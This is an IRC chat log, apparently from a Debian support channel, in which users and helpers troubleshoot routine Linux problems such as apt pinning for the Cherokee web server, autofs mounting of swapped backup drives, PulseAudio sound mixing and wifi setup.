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| 00:00.25 | vlt | Hello. I try to "aptitude install mdadm" w/o being asked any questions. I tried by creating /etc/mdadm/mdadm.conf before but that didn't help. Any idea? |
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| 00:01.09 | simonlnu | try running dpkg-reconfigure mdadm . i doubt it'll do anything, but try |
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| 00:05.41 | man_in_shack | pitivi doesn't do recording at all :( |
| 00:05.43 | iateadonut | simonlnu - there is a apt-spy.list in there. |
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| 00:10.21 | boudiccas | why, when i'm running KDE as my desktop does 'gnome-panel' show in my list of services in top? and when i kill it, it just comes back again? |
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| 00:14.31 | iateadonut | simonlnu, thanks. |
| 00:14.35 | boudiccas | why, when i'm running KDE as my desktop, does 'gnome-panel' show in my list of services in top? and when i kill it, it just comes back again? |
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| 00:40.56 | tharkun | boudiccas: do you have gdm running? |
| 00:41.45 | Miesco | How come libpackage-stash-perl is version 0.05? |
| 00:41.48 | Miesco | Anything < 0.22 will break a catalyst app |
| 00:41.55 | Miesco | ,versions libpackage-stash-perl |
| 00:41.55 | judd | Package libpackage-stash-perl on i386 -- lenny-backports: 0.05-1~bpo50+1; squeeze: 0.05-1; sid: 0.29-1; wheezy: 0.29-1 |
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| 00:42.36 | tharkun | !tell Miesc about ssb |
| 00:42.42 | tharkun | !tell Miesco about ssb |
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| 01:01.08 | boudiccas | tharkun; no |
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| 01:01.42 | boudiccas | tharkun; just kde |
| 01:01.59 | tharkun | boudiccas: so you have kdm running? |
| 01:02.10 | tharkun | kdm!=kde |
| 01:02.18 | boudiccas | tharkun; i assume yes |
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| 01:03.04 | tharkun | boudiccas: check it, unless you explicitly installed kdm you might be running gdm which is a tiny gnome login shell which sets up a few gnome stuff on respawning mode |
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| 01:03.23 | boudiccas | tharkun; k, thanks |
| 01:03.36 | tharkun | boudiccas: np |
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| 01:04.27 | boudiccas | tharkun; kdm is already installed so i assume i'm already running it |
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| 01:06.27 | tharkun | boudiccas: ps aux|grep gdm |
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| 01:07.45 | boudiccas | tharkun; boztu 3490 0.0 0.1 1776 580 pts/1 S+ 02:06 0:00 grep gdm |
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| 01:08.41 | tharkun | boudiccas: ok so you do not have any gdm stuff running :) |
| 01:09.22 | boudiccas | tharkun; ok, but this gnome panel thingie irritates me |
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| 01:10.25 | tharkun | boudiccas: look for any gnome program that you have running on your system. network.manager or the likes. Hard to tell without dpkg -l info to scan through |
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| 01:12.31 | boudiccas | tharkun; i did have gnometogo running but i cloised that down, the only non-kde progs running [that i know about] are xchat and iceweasel |
| 01:12.56 | boudiccas | and gkrellm |
| 01:13.35 | tharkun | !xchat |
| 01:13.35 | dpkg | XChat is a graphical <IRC> client similar to AmIRC. Also in violation of the GPL (http://en.wikipedia.org/wiki/Xchat#Shareware_controversy). http://xchat.org/faq/ http://xchatdata.net/Using/FAQ http://xchat.org/ #xchat on irc.freenode.net. |
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| 01:15.59 | boudiccas | tharkun; well, i've just checked in top and gnome-panel is no longer running, so it mustve been called by gnome2go |
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| 01:17.30 | tharkun | boudiccas: nice, check for it once in a while so you are sure you are not spawning it by mistake |
| 01:17.50 | boudiccas | tharkun; ok, thanks |
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| 01:18.50 | tharkun | np |
| 01:19.27 | kristian-aalborg | still fine-tuning the basic install on Compact Flash |
| 01:19.43 | kristian-aalborg | I managed to disable DMA, it seems... how do I turn off UDMA? |
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| 01:25.30 | Driver|krsK | kristian-aalborg man hdparm |
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| 01:53.57 | cafaro | What's the best way to get back the original samba.conf file, when downloaded with aptitude? |
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| 01:55.01 | epsilon | original in mean of maintainer's version? |
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| 01:56.00 | cafaro | yes |
| 01:56.44 | epsilon | isn't there a file with wired extension, smb.conf-foo? |
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| 01:57.22 | cafaro | not in /etc/samba/ |
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| 01:57.43 | epsilon | then extract from .deb manually |
| 01:58.45 | epsilon | get the samba-common deb package, extract with "ar x", then tar xvf data.tar.gz |
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| 01:59.02 | epsilon | unpack somewhere in /tmp |
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| 02:00.01 | epsilon | (or just apt-get remove --purge and reinstall from scratch) |
| 02:00.12 | ircguy | hello gents, I am trying to figure out an offsite backup scheme where 1TB SATA drives are swapped on a cycle...I had planned on mounting them dynamically to the same mount point, but it seems fstab will only mount on boot. Any ideas? |
| 02:00.54 | epsilon | mount with option auto doesnt work? |
| 02:01.39 | epsilon | and manual mounting everything in fstab: mount -a |
| 02:01.43 | ircguy | I haven't tried it, but I didn't think it would |
| 02:02.12 | ircguy | so if I were to use that method, I would have to know when a drive is swapped in order for a script to mount -a |
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| 02:02.23 | ircguy | not sure how to watchdog that |
| 02:02.30 | epsilon | if it's some hot plug thingy and you use GUI desktop, gnome or kde should handle it automated |
| 02:02.47 | somiaj | you can also set up udev / hotplug events |
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| 02:03.18 | ircguy | no desktop environment here |
| 02:03.23 | cafaro | epsilon: I could use dpkg's --foce-confmiss? Final question, how to get the .deb file from aptitude? |
| 02:03.27 | ircguy | udev hotplug you say |
| 02:03.49 | cafaro | or --force-confnew |
| 02:03.53 | ircguy | ah gahd, first google link I click is PDF |
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| 02:04.29 | somiaj | ircguy: most likely its udev -- but its because it handels hotplug for you in setting up and removing devices from /dev as they go up and down -- you can add trigger events to that -- but details I know not. |
| 02:05.02 | ircguy | hmm ok, that sounds good |
| 02:05.06 | somiaj | epsilon: apt downloads its debs and puts them in /var/cache/apt/archive -- as long as you haven't 'clean'ed it out. |
| 02:05.11 | ircguy | does udev know about drives which are removed also? |
| 02:05.25 | epsilon | cafaro: dunno, just try |
| 02:05.35 | somiaj | ircguy: it links the drives to a uuid, so you can uniqulayy identify each drive that way. |
| 02:06.16 | ircguy | somiaj: yeah, I had the uuid part already figured, it's the unplugging and plugging in and the related unmounting and mounting I'm having trouble finding solutions to |
| 02:06.27 | epsilon | somiaj: I know, but doesnt apply always... like source is local |
| 02:07.24 | somiaj | ircguy: there may be scripts // software built already, but I'm sure with fstab and writing your ownscript you can configure it yourself -- though the details I do not know |
| 02:07.31 | somiaj | ircguy: just the basic idea |
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| 02:07.50 | ircguy | somiaj: gotcha, I will start a new google path with udev |
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| 02:08.49 | ChibaPet | Hey, can someone point me to a tool to convert ALAC to FLAC? |
| 02:09.00 | ChibaPet | I'm not finding one after a bit of a search. |
| 02:09.16 | somiaj | ircguy: http://reactivated.net/writing_udev_rules.html |
| 02:10.47 | ircguy | somiaj: I took a peek around that, couldn't find anything about doing it by uuid :\ |
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| 02:21.41 | ChibaPet | So frustrating! FreeDB has track names for me. MusicBrainz does not. MusicBrainz is supposed to fall back on FreeDB, but it doesn't do so. Sound Juicer can rip straight to FLAC. RipperX for some reason can't, but it uses FreeDB and sees the tracks names I need. |
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| 02:25.36 | ChibaPet | Odd. Okay. Installation of a flac library is evidently somehow picked up by ripperx, but it offers flac as an encoder in its MP3 configuration screen. So very odd... |
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| 02:26.55 | ChibaPet | On the plus side, Debian has a bunch of these things available. |
| 02:26.59 | ChibaPet | Trying Asunder now. |
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| 02:28.09 | ircguy | ls -lR /dev/disk |
| 02:28.23 | ircguy | apologies, this is not my terminal lol |
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| 02:30.42 | ChibaPet | Alrighty then. Asunder is doing just the right things. |
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| 02:32.39 | AngryBlackGuy | hey, what do you guys think of the new gnome 3 interface that all the distros are moving toward? |
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| 02:36.55 | Wyzard | AngryBlackGuy: Haven't used it enough yet to have a strong opinion, but it reminds me of the transition from GNOME 1 to GNOME 2: some initial annoyances due to functionality removed or missing in the initial release, but a good basis for further improvements |
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| 02:51.28 | ircguy | so I may have found the solution to my problem here: http://wiki.debian.org/AutoFs |
| 02:51.50 | ircguy | but I don't quite understand the KERNEL parameter, can I pass UUID for the disk here? |
| 02:52.03 | ircguy | instead of sd?blah |
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| 02:54.39 | zykotick9 | ircguy, in the link you provided it talks about using UUIDs in the section "Alternatively, use autofs with UUID" |
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| 02:55.47 | ircguy | yea so that is not working for me |
| 02:55.56 | ircguy | doesn't seem to be creating the dir automatically |
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| 03:00.28 | ircguy | so here is what's happening with autofs when I reseat the drive: http://pastebin.com/z5400s9C |
| 03:01.08 | ircguy | I wonder why it would say my mount point (/mnt/backup) is busy.. |
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| 03:03.19 | un214 | because it didn't clean unmount |
| 03:03.28 | un214 | kernel seems confused |
| 03:03.35 | ircguy | damnit |
| 03:04.29 | ircguy | rebooting... |
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| 03:04.52 | TehRabbitt | hey everyone.... I'm trying to get cherokee webserver working but nothing I do seems to work |
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| 03:05.18 | TehRabbitt | the one that is the latest release in the "stable" repository is outdated / buggy |
| 03:05.33 | TehRabbitt | I try to run the automated installer from their site which builds from source, and it has no PHP support or anything |
| 03:05.36 | TehRabbitt | even though PHP is installed |
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| 03:06.22 | ircguy | yeah those kinds of things are typically modular, have you checked this: http://www.cherokee-project.com/doc/cookbook_php.html |
| 03:06.38 | TehRabbitt | yep, for the exception it doesn't specify how to get php working |
| 03:07.10 | ircguy | so do you have a languages menu option there? |
| 03:07.19 | TehRabbitt | Nope it's empty |
| 03:07.32 | TehRabbitt | i hit "add behavior rule" and nothing is listed in that left pane |
| 03:08.02 | ircguy | and you do have php-fpm or php-cgi installed? |
| 03:08.12 | TehRabbitt | yep |
| 03:08.32 | ircguy | can you show your php-cgi -v on pastebin.com |
| 03:08.35 | TehRabbitt | PHP 5.3.3-7+squeeze3 with Suhosin-Patch (cgi-fcgi) (built: Jun 28 2011 08:20:54) Copyright (c) 1997-2009 The PHP Group |
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| 03:10.05 | TehRabbitt | ircguy: i'm not sure why the whole left pane is blank |
| 03:10.24 | ircguy | so under behavior tab |
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| 03:10.38 | ircguy | you have nothing about php there? |
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| 03:11.20 | TehRabbitt | ircguy: under behavior tab, it's completely blank.... nothing there @ all |
| 03:13.43 | TehRabbitt | ircguy: i'm not sure what i'm doing wrong :-\ |
| 03:13.54 | ircguy | what did you select for the configuration file? |
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| 03:14.30 | TehRabbitt | ircguy: what do you mean |
| 03:14.34 | TehRabbitt | it doesn't give an option |
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| 03:15.32 | ircguy | TehRabbitt: when you first start cherokee-admin it gives you a user name and password with which to connect to the web-based administration panel right |
| 03:15.41 | TehRabbitt | correct |
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| 03:15.46 | TehRabbitt | and i connect |
| 03:15.52 | ircguy | TehRabbitt: looks like the first thing you should have seen was a "Create a new configuration file" option |
| 03:15.58 | TehRabbitt | ircguy: nope |
| 03:16.34 | ircguy | hm |
| 03:16.54 | ircguy | perhaps it grabbed the old configuration from when you installed from apt |
| 03:17.04 | ircguy | maybe you could go delete that and restart the cherokee-admin |
| 03:17.25 | TehRabbitt | ircguy: it installed inside the /opt dir when I use their script |
| 03:17.35 | TehRabbitt | if i install using straight up source... same issue |
| 03:17.43 | TehRabbitt | hm |
| 03:17.47 | TehRabbitt | maybe I should try an older version? |
| 03:18.05 | ircguy | well, they may both point to the same universal location for a config right? |
| 03:18.20 | TehRabbitt | ircguy: nope, the one in /opt is self-contained |
| 03:18.34 | ircguy | ok |
| 03:18.44 | ircguy | so in its location under opt can you find the config? |
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| 03:19.28 | TehRabbitt | ircguy: it says not to manually edit the config |
| 03:19.44 | TehRabbitt | i'm gonna install version 1.2.2 instead of 1.2.98 maybe it's a bug in the latest version idk |
| 03:19.57 | TehRabbitt | the "supported" version from APT is 1.0.2 |
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| 03:20.06 | TehRabbitt | so maybe that's something to do with it as well? |
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| 03:21.51 | ircguy | that seems like a pretty huge bug |
| 03:22.13 | ircguy | I don't see them releasing a "stable" version of it without php-cgi support |
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| 03:22.46 | kgb-1 | alguien habla español? |
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| 03:24.03 | TehRabbitt | ircguy: like I said... latest stable for debian stable is 1.0.2 |
| 03:24.13 | TehRabbitt | whereas latest "stable" for source is 1.2.98 |
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| 03:24.27 | TehRabbitt | maybe the latest source requires newer libs or something |
| 03:26.56 | boudiccas | kgb-1; sorry, i dont speak spanish, and this channel is english only. however there is a channel for debian-spanish i think over on the OFTC server |
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| 03:27.07 | nevyn | !es |
| 03:27.07 | dpkg | Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat. |
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| 03:28.01 | kgb-1 | ok,muchas gracias,ya lo consegui. |
| 03:28.27 | TehRabbitt | ircguy: hm |
| 03:28.33 | TehRabbitt | ircguy: I got cherokee installed again |
| 03:28.35 | TehRabbitt | still no options though |
| 03:28.36 | TehRabbitt | :-\ |
| 03:28.43 | ircguy | make clean beforehand? |
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| 03:28.53 | ircguy | or is there some installer script |
| 03:29.50 | TehRabbitt | irc did a make clean beforehand |
| 03:29.51 | TehRabbitt | :-\ |
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| 03:32.07 | TehRabbitt | ircguy: http://i.imgur.com/fmqrC.png |
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| 03:33.26 | TehRabbitt | ircguy: see what i mean? |
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| 03:34.38 | TehRabbitt | http://www.cherokee-project.com/doc/media/images/admin_vserver_wizard.png |
| 03:34.43 | TehRabbitt | thats what it *should* look like |
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| 03:35.35 | andrewwiggin | is it normal that if one app is playing sounds (lets say VLC) and i try to play a flash video, it won't play sounds at all |
| 03:35.42 | andrewwiggin | and i actually have to CLOSE VLC before it will? |
| 03:36.21 | andrewwiggin | and vice versa |
| 03:36.35 | simonlnu | yes. make your audio device do duplex or use a sound daemon |
| 03:36.56 | beardy | It is if you are using a sound daemon and don't have a real soundcaard. |
| 03:37.10 | TehRabbitt | ircguy: any ideas? |
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| 03:37.51 | andrewwiggin | beardy: i'm guessing you wouldn't call my card a "real soundcard", its just the on-motherboard chip but |
| 03:37.59 | andrewwiggin | (1) who has a 'real soundcard' these days |
| 03:38.10 | andrewwiggin | and (2) works just fine w/ no setup in that other OS :P |
| 03:38.16 | centHOGG | <philips external |
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| 03:38.41 | nevyn | <maudio fast track ultra usb2 |
| 03:39.01 | andrewwiggin | a usb card is a "real soundcard" |
| 03:39.04 | andrewwiggin | ? |
| 03:39.06 | andrewwiggin | :) |
| 03:39.09 | beardy | andrewwiggin: Do you use a desktop with a sound daemon installed? |
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| 03:39.17 | andrewwiggin | i'm using gnome |
| 03:39.17 | centHOGG | stereo & skype |
| 03:39.22 | andrewwiggin | i don't know if it has a daemon |
| 03:39.27 | simonlnu | cmedia. does midi and duplex |
| 03:39.39 | nevyn | andrewwiggin: this one is ;) 4 preamps 6 bal in 6 bal out +spdif in/out + midi |
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| 03:40.09 | centHOGG | nevyn: what year was that sc made around? |
| 03:40.38 | nevyn | centHOGG: it's current production. |
| 03:40.44 | andrewwiggin | is there a way to make my poor realtek on-board chip work? |
| 03:40.46 | nevyn | centHOGG: made a couple of years ago. |
| 03:40.48 | simonlnu | yup, mine does similar. the onboard and the card are the exact same. no didn't plan it. cool? i think so :). |
| 03:41.29 | centHOGG | andrewwiggin: whats the realtek chip |
| 03:41.35 | nevyn | andrewwiggin: so you need software mixing to make playing back flash and vlc together work |
| 03:41.41 | nevyn | andrewwiggin: you can achieve this with dmix |
| 03:41.57 | nevyn | andrewwiggin: or with a userspace software mixer like pulseaudio (which is what I use) |
| 03:42.10 | andrewwiggin | i'm not sure how to figure out which realtek |
| 03:42.25 | centHOGG | does your alsamixer come up in cli |
| 03:42.45 | andrewwiggin | yeah i type alsamixer i see a mixer |
| 03:42.53 | centHOGG | what does that say |
| 03:42.55 | andrewwiggin | alc1200 |
| 03:42.59 | nevyn | andrewwiggin: does pactl status say anything? |
| 03:43.05 | andrewwiggin | card: HDA Nvidia |
| 03:43.10 | centHOGG | good |
| 03:43.11 | andrewwiggin | (its an nvidia mobo) |
| 03:43.16 | nevyn | does gnome reccomend/sugges/install pulseaudio yet? |
| 03:43.30 | andrewwiggin | i'll try installing pulseaudio |
| 03:43.32 | centHOGG | it should |
| 03:43.38 | centHOGG | yes |
| 03:43.45 | nevyn | andrewwiggin: there's a howto for debian and pulse |
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| 03:43.47 | andrewwiggin | already have it |
| 03:43.48 | nevyn | you'll need it. |
| 03:43.56 | andrewwiggin | ok i read about it |
| 03:43.58 | andrewwiggin | thanks! |
| 03:44.02 | nevyn | http://forums.debian.net/viewtopic.php?t=12497 |
| 03:44.12 | beardy | Yay. |
| 03:44.22 | nevyn | in particular the boilerplate asoundrc you'll need |
| 03:44.28 | fiae | I'm using skype 2.2 on debin 6 KDE based. My camera is working fine but when I start a video chat they can see me but I can't see them as I see a white area in place of their video. I tried to login to twm and it works fine. I guess something with compiz. this happens after installing cairo-dock |
| 03:44.40 | centHOGG | linux desktop sound is really convoluted (which you prob know by now) |
| 03:45.13 | nevyn | centHOGG: it's no worse than anywhere else (except perhaps macos) |
| 03:45.25 | TehRabbitt | how *safe* is apt-pinning to pull a package out of SID to use on stable? |
| 03:45.30 | nevyn | centHOGG: but the 5 year old operating system can't really brag about that. |
| 03:45.35 | TehRabbitt | following this guide: http://192.168.1.75:9090/help/basics_installation_unix.html |
| 03:45.39 | TehRabbitt | errr |
| 03:45.47 | simonlnu | fiae: compositing (almost wrote composting :P) and xvideo and such things don't mix too well still |
| 03:45.47 | centHOGG | i don't agree :) |
| 03:45.47 | andrewwiggin | osx is 5? |
| 03:45.54 | andrewwiggin | its like at least 10 |
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| 03:45.55 | TehRabbitt | http://www.cherokee-project.com/doc/basics_installation_unix.html |
| 03:45.58 | TehRabbitt | .that guide |
| 03:45.59 | nevyn | TehRabbitt: I'm unconvinced that you're not running sid after doing that. ;) |
| 03:46.11 | TehRabbitt | nevyn: huh |
| 03:46.11 | TehRabbitt | lo |
| 03:46.13 | TehRabbitt | lol |
| 03:46.20 | fiae | simonlnu: no hope???? |
| 03:46.22 | simonlnu | TehRabbitt: try again ;), hehe |
| 03:46.39 | TehRabbitt | well my server is running squeeze |
| 03:46.41 | simonlnu | fiae: uh, what? |
| 03:46.45 | nevyn | TehRabbitt: so for everything substancial you're going to need libc. once you've upgraded libc and locales it's all over |
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| 03:46.47 | fiae | simonlnu: it was working fine with me with gentoo |
| 03:46.49 | TehRabbitt | apparently the version of cherokee that is "stable" for squeeze is buggy |
| 03:46.51 | TehRabbitt | has some issues |
| 03:47.05 | nevyn | TehRabbitt: a backport is a much better option |
| 03:47.15 | TehRabbitt | nevyn: so go backwards rather than fowards... |
| 03:47.16 | catsup | fiae: it's really a skype client bug |
| 03:47.17 | TehRabbitt | :-\ |
| 03:47.31 | fiae | simonlnu: it also was working when I installed debian |
| 03:47.48 | TehRabbitt | "For Debian users, you will have to use packages from Unstable or Testing if you want to keep up. Cherokee does not have deep dependencies, so apt-pinning might be enough for you." |
| 03:47.49 | catsup | skype client fails with compiz? well maybe that's it |
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| 03:48.07 | TehRabbitt | how safe is that though |
| 03:48.10 | andrewwiggin | if it doesn't have deep depends, can you just build from source? |
| 03:48.19 | TehRabbitt | andrewwiggin: yes I tried that... and it's screwing up |
| 03:48.23 | simonlnu | fiae: ok... and that's relevant? exact same situation? |
| 03:48.29 | TehRabbitt | andrewwiggin: http://i.imgur.com/fmqrC.png |
| 03:48.32 | TehRabbitt | thats what i'm seeing |
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| 03:48.43 | TehRabbitt | there *should* be defaults |
| 03:48.46 | TehRabbitt | but there aren't |
| 03:48.56 | TehRabbitt | which means... manually entering every path / ini file by hand |
| 03:49.08 | TehRabbitt | and there's only about 100 |
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| 03:49.15 | TehRabbitt | :-\ |
| 03:49.53 | simonlnu | fiae: when you had a fresh install of debian, exact same? it worked ok with compositing? |
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| 03:50.10 | simonlnu | (not that skype isn't buggy ;) |
| 03:50.24 | TBotNik | All: have a script for chroot that is not working right. Anyone game? PB with script and errors at: http://pastebin.com/QxFWRCzu |
| 03:50.28 | fiae | simonlnu: yes |
| 03:50.44 | fiae | something happened after installing cairo-dock |
| 03:51.09 | simonlnu | fiae: frankly i'm surprised. is cairo-dock running when you do that? try without it. |
| 03:51.56 | fiae | I tried to close cairo-dock and play with skype but no luck |
| 03:51.56 | simonlnu | those compositing dock thingies do weird things... |
| 03:52.21 | TehRabbitt | "And set your preferences to lenny in /etc/apt/preferences:" |
| 03:52.26 | TehRabbitt | why doesn't that exist on my machine :-\ |
| 03:52.39 | simonlnu | you create it.. |
| 03:52.39 | TehRabbitt | i have /etc/apt/preferences.d/ |
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| 03:52.53 | TehRabbitt | simonlnu: so just nano prefrences.d? |
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| 03:52.59 | TehRabbitt | or i have to make it inside prefrences.d |
| 03:54.02 | TehRabbitt | like where do I make that preferences file? |
| 03:54.14 | simonlnu | no, preferences. .d is a dir |
| 03:54.18 | vf-1j | greetings, I just installed Debian on my laptop and am not sure how to get the wifi fired up |
| 03:54.25 | simonlnu | where it says |
| 03:54.27 | TehRabbitt | okay |
| 03:54.34 | TehRabbitt | so just /etc/apt/preferences |
| 03:54.37 | simonlnu | man apt_preferences |
| 03:55.14 | fiae | simonlnu: no hope |
| 03:55.15 | TehRabbitt | now once i do the pinning for unstable... if I do apt-get update / upgrade it'll only update / upgrade stable, unless i specifiy with a -t in there, right? |
| 03:55.57 | vf-1j | I installed the drivers for the wifi card, but don't know what the next step is, iwconfig yields errors |
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| 03:56.13 | wols_ | vf-1j: which wlan chip? |
| 03:56.22 | TBotNik | Repeating: All: have a script for chroot that is not working right. Anyone game? PB with script and errors at: http://pastebin.com/QxFWRCzu |
| 03:56.36 | vf-1j | wols_, 09:00.0 Network controller: Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller (rev 01) |
| 03:56.41 | simonlnu | fiae: sorry i'm not of more help. i haven't researched this. i'd go looking on the web, some debian mailing lists. |
| 03:57.01 | wols_ | TehRabbitt: that's the plan, yes. however just remove the unstable repos (or comment them out) when you have the necessary package installed. and: if you have to ask about pinning, you simply shouldn't do it |
| 03:57.13 | TehRabbitt | wols_: just the first time i'm doing this |
| 03:57.15 | TehRabbitt | E: Invalid record in the preferences file /etc/apt/preferences, no Package header |
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| 03:57.38 | wols_ | TehRabbitt: and you see what can god wrong already. it's not worth the hassle |
| 03:57.38 | simonlnu | yeh, um, be careful with that |
| 03:57.47 | wols_ | *go |
| 03:58.04 | TehRabbitt | simonlnu: be careful with what :-\ |
| 03:58.13 | fiae | <PROTECTED> |
| 03:58.16 | TehRabbitt | lol |
| 03:58.24 | TehRabbitt | wols_: well how do I successfully do this :-\ |
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| 03:58.39 | wols_ | TehRabbitt: pinning constantly leads to troubles people where have: they sooner or later mix stable with unstable and then a little while later, none of their upgrades work anymore since apt shows an error they cannot fix anymore. happens about 5 times per day here (ca.) |
| 03:58.52 | TehRabbitt | :-\ |
| 03:59.14 | TehRabbitt | wols_: it seems it's the only way I can get cherokee working on my server though |
| 03:59.19 | TehRabbitt | since source is broken |
| 03:59.23 | wols_ | TehRabbitt: no pinning. put in unstable and install stuff (the amount of stuff you can install directly from unstable is mini to non existant since they usually all need unstable libc) |
| 03:59.33 | wols_ | so the first quesiton: what is you want from unstable right now? |
| 03:59.39 | TehRabbitt | cherokee |
| 03:59.41 | TehRabbitt | one package |
| 03:59.43 | wols_ | if it's nvidia-glx for example, it works right now |
| 03:59.53 | wols_ | but cherokee has dependencies |
| 03:59.59 | TehRabbitt | 3, yes |
| 04:00.17 | wols_ | ,info libpcre3 |
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| 04:00.18 | judd | Package libpcre3 (libs, standard) in squeeze/i386: Perl 5 Compatible Regular Expression Library - runtime files. Version: 8.02-1.1; Size: 226.0k; Installed: 480k |
| 04:00.29 | TehRabbitt | http://packages.debian.org/unstable/web/cherokee |
| 04:00.53 | wols_ | see? it needs libpcre3 8.10 or greater. but in squeeze only 8.02 is there. that's the first problem already |
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| 04:01.02 | simonlnu | TehRabbitt: screwing around with apt_preferences is potentially dangerous, especially if you're including other versions of debian. tread lightly. |
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| 04:01.26 | wols_ | ,!tell TehRabbitt about ssb |
| 04:01.28 | TehRabbitt | simonlnu: my other option is using debian afaik... but I'd rather not use debian really :-\ |
| 04:01.31 | wols_ | !tell TehRabbitt about ssb |
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| 04:01.50 | TehRabbitt | wols_: backport of cherokee? |
| 04:01.56 | simonlnu | er, i only speak of debian. |
| 04:01.59 | wols_ | the usual proper way is to build your own sid backport. that way only deb-src lines get into your apt config and those are the most harmless |
| 04:02.05 | TehRabbitt | hm |
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| 04:02.18 | wols_ | TehRabbitt: if you don't use debian, what else do you use then? |
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| 04:02.32 | TehRabbitt | all i'm using is debian atm |
| 04:03.05 | TehRabbitt | everyone else i'm working with on a project i'm working on is running ubuntu / gentoo and i'm the only one on debian unable to get cherokee working X_X |
| 04:03.05 | TehRabbitt | lol |
| 04:04.02 | vf-1j | How does one get wifi fired up in Debian? |
| 04:04.32 | simonlnu | not hard to get cherokee going |
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| 04:04.48 | TehRabbitt | simonlnu: for the exception I had it working the "stable" release... |
| 04:04.52 | simonlnu | after install i had it doing stuff after about 15 minutes |
| 04:04.53 | TehRabbitt | and it just didn't work right |
| 04:05.25 | wols_ | vf-1j: you start by answering the questions asked to you |
| 04:05.29 | TehRabbitt | simonlnu: tried to get vhosts working... I hit "Save"... it doesn't save... instead it corrupted the conf files / took down the server |
| 04:05.34 | TehRabbitt | had to reinstall cherokee |
| 04:05.40 | TehRabbitt | happened again a few hours later |
| 04:05.41 | vf-1j | wols_, Did I not answer you? |
| 04:05.51 | simonlnu | how odd |
| 04:06.01 | wols_ | ok, didn't seel. sorry |
| 04:06.03 | TehRabbitt | apparently it's a 'bug' in the version that's stable |
| 04:06.08 | TehRabbitt | >_< lol |
| 04:06.13 | TehRabbitt | which is fixed in the newer releases |
| 04:06.24 | wols_ | !tell vf-1j about bcm4322 |
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| 04:07.17 | simonlnu | ah. so that's why you're backporting it. |
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| 04:33.12 | andrewwiggin | to those who recommended pulseaudio... thanks! |
| 04:33.29 | centHOGG | live and learn :) |
| 04:33.34 | andrewwiggin | thanks nevyn! |
| 04:33.43 | andrewwiggin | thanks centHOGG |
| 04:33.47 | andrewwiggin | works great :D |
| 04:34.06 | andrewwiggin | would be great if default setup in debian would do this |
| 04:34.10 | andrewwiggin | but i'm guessing unstable probably already does |
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| 04:40.29 | latepre | um im here: http://www.debian.org/devel/debian-installer/ , where's the usb stick image for i386/ |
| 04:40.32 | latepre | ? |
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| 04:41.40 | sedulous | what's the better choice on debian for mandatory access control: TOMOYO or AppArmor? |
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| 04:46.41 | boudiccas | sedulous; what do you mean by ....... mandatory access control please? is not logging in as per usual enough? |
| 04:49.08 | latepre | is it obligatory to create a FAT16 (not 32) partition on an USB stick when manually copying debian files |
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| 04:50.28 | sedulous | boudiccas: both solutions allow you to restrict a program's access rights, supplementing traditional UNIX access rights. the purpose is to protect the system from unforeseen bugs or configuration errors |
| 04:50.57 | boudiccas | sedulous; ah right, thank you |
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| 04:51.53 | sedulous | e.g. you create a profile for Apache with a whitelist of allowed actions, e.g. reading or executing certain files |
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| 04:57.32 | Faustus | hi all |
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| 04:58.39 | Faustus | I looking at the download live CD page and see armel. I suppose that's refers arm processor? |
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| 05:00.06 | Faustus | oops there is no live cd for arm |
| 05:00.27 | boudiccas | doh! |
| 05:00.29 | centHOGG | uh... a cellphone has a cd player? |
| 05:01.05 | mcurran | iso you mean? |
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| 05:02.49 | Faustus | Anyone know what that program to install Debian and other distros onto BIOS blocked PCs is called? |
| 05:03.17 | centHOGG | maybe you ought to get a hiren's bootcd |
| 05:03.32 | centHOGG | fix the bios |
| 05:03.51 | Faustus | I recall it was simply downloaded into WIndows and started and the computer was rebooted into a *Linux install procedure |
| 05:04.20 | Faustus | I've even tried unplugging the CMOS battery and there's no fix |
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| 05:04.36 | Faustus | left it out for a day or two and nothing |
| 05:04.38 | centHOGG | hmmm idk |
| 05:04.46 | Faustus | idk? |
| 05:05.00 | centHOGG | idunno |
| 05:05.14 | Faustus | I did some reading and apparently some PCs are just wacked |
| 05:05.34 | Faustus | This is a worst case scenario |
| 05:06.57 | Faustus | There we go. IT's called UNetbootin |
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| 05:14.04 | TBotNik | All: who are the scripting and networking gurus tonight? |
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| 05:15.42 | boudiccas | TBotNik; "Not I" said the pig! |
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| 05:20.21 | inference | so im having a newb problem |
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| 05:20.43 | inference | i compiled these two games, red eclipse, and cube 2 sauerbraten |
| 05:20.49 | boudiccas | inference; thats nice for you! |
| 05:20.53 | inference | they compiled fine, they run etc |
| 05:21.14 | inference | but i can't get them to run through the file manager or through menus... |
| 05:21.29 | inference | only by going to the shell script or to the bins themselves |
| 05:21.38 | inference | in terminal, that is |
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| 05:22.27 | inference | i looked at the shell scripts, and i dunno what the problem is.. they seem to set the paths for everything |
| 05:22.43 | inference | so i dont think it's running them from the directories in terminal |
| 05:22.48 | inference | maybe something to do with permissions? |
| 05:23.41 | inference | this happens on both programs, so i feel that it is something i am doing wrong trying to launch them |
| 05:24.08 | inference | should i try chowning the game directories? |
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| 05:24.55 | inference | or setting one of the thousand levels of permission or whatever? |
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| 05:29.11 | philipballew | how would i connect to a wireless network from the cli |
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| 05:31.16 | phreck | install wicd |
| 05:31.23 | phreck | wicd-client |
| 05:31.24 | phreck | thats the easy way. |
| 05:32.22 | phreck | while you're at it get tmux. |
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| 05:32.33 | phreck | has nothing to do with wifi, but good for term use. |
| 05:33.23 | ldopa | anyone know why ssh ssh sets ~/.Xauthority on the server to point at the proxy Xorg server display (:10) even when ForwardX11 and X11Forwarding are disabled on the client and server, respectively? |
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| 05:36.04 | philipballew | phreck, alright. never used wicd (the graphical one) been a nm man. will try it out and see how it goes |
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| 05:42.03 | sixyearsofdreams | hello :0 |
| 05:43.13 | abaddon | philipballew you just need wireless-tools and likely wpasupplicant, i have all my wifi config done in /etc/network/interfaces and the wpasupplicant configs |
| 05:43.26 | abaddon | thats the bare minimum |
| 05:43.48 | abaddon | i could paste you some stuff if needed |
| 05:43.55 | philipballew | that would be sick |
| 05:44.11 | philipballew | this laptop just has 128 mb ram |
| 05:44.20 | philipballew | a gui seemes like a no go here |
| 05:44.48 | SpeedyG | hm, i'm having some strange issue since changing my dns over to use dnssec. when using dnssectest.sidn.nl it says "you're safe" but when trying to open dnssec-or-not.net it just says the page cannot be found... prior to enabling dnssec on my dns that last page did work... any clues where to look ? (for dnssec I followed the debian wiki pages) |
| 05:45.58 | sixyearsofdreams | if i do a apt-get upgrade, will this do any significant changes, or could it mess things up |
